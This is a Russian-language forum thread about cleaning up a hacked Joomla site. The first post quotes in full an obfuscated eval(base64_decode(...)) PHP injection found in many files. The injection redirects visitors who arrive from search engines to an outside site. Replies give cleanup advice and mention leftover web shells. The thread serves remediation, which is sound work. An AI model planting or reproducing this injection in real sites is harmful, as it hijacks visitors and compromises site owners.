Взлом сайта на Joomla

[Гарик+]

После взлома при анализе выявились непонятные зашифрованные сигнатюры такого вида:
   eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vYnJ1Z2dlLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));

Они через один  в некоторых файлах компонентов. Удаляю их в ручную, очень гиморно их крайне много. Может быть есть способ избавиться от этой заразы как-то более просто?

[surfer]

можно перезалить файлы поверх, если ты код не правил

[Гарик+]

Сайт не я делал, там дохрена компонентов, предназначение которых мне иногда не совсем понятно. Хостер был у сайта откровенно говёный, дамп удалось получить только двухнедельной давности, толку от него оказалось ноль.

[surfer]

ну еще как вариант написать скрипт открывающий файл и удаляющий соответствующую строку

[Гарик+]

Шеллы я так удалит, а вот остальное конечно гимор жуткий.

[ioshkarola]

Откуда вы знаете, что все шеллы удалили? Перезаливка может не спасти, т.к. если левые файлы лежат, кто их изменит? Когда у меня взломали, я всю базу слил, всё удалил, переустановил, естественно с новыми паролями. Да ещё на хостинге несколько сайтов было, отселил их, фиг знает откуда зараза, у меня в папке temp лежал файлик неприметный, а шелл))). Ну и везде тотальная смена паролей.

[Salpis invest]

Люди, делайте копии сайта своего дополнительно и на своем локальном компе. Если вам сайт дорог конечно

[bumer]

Если код один и тот же во всех файлах, то можно через тотал командер найти все эти файлы, в поиск вбивайте все название.

[Гарик+]

Люди, делайте копии сайта своего дополнительно и на своем локальном компе. Если вам сайт дорог конечно

Слуште, веб-студия, вам флудить во всех темах подряд не надоело?

[RockYou]

была такая проблемка..были даже шеллы, которые только root удалить мог:) а коды через total comander cнес и сменил хостинг, кстати.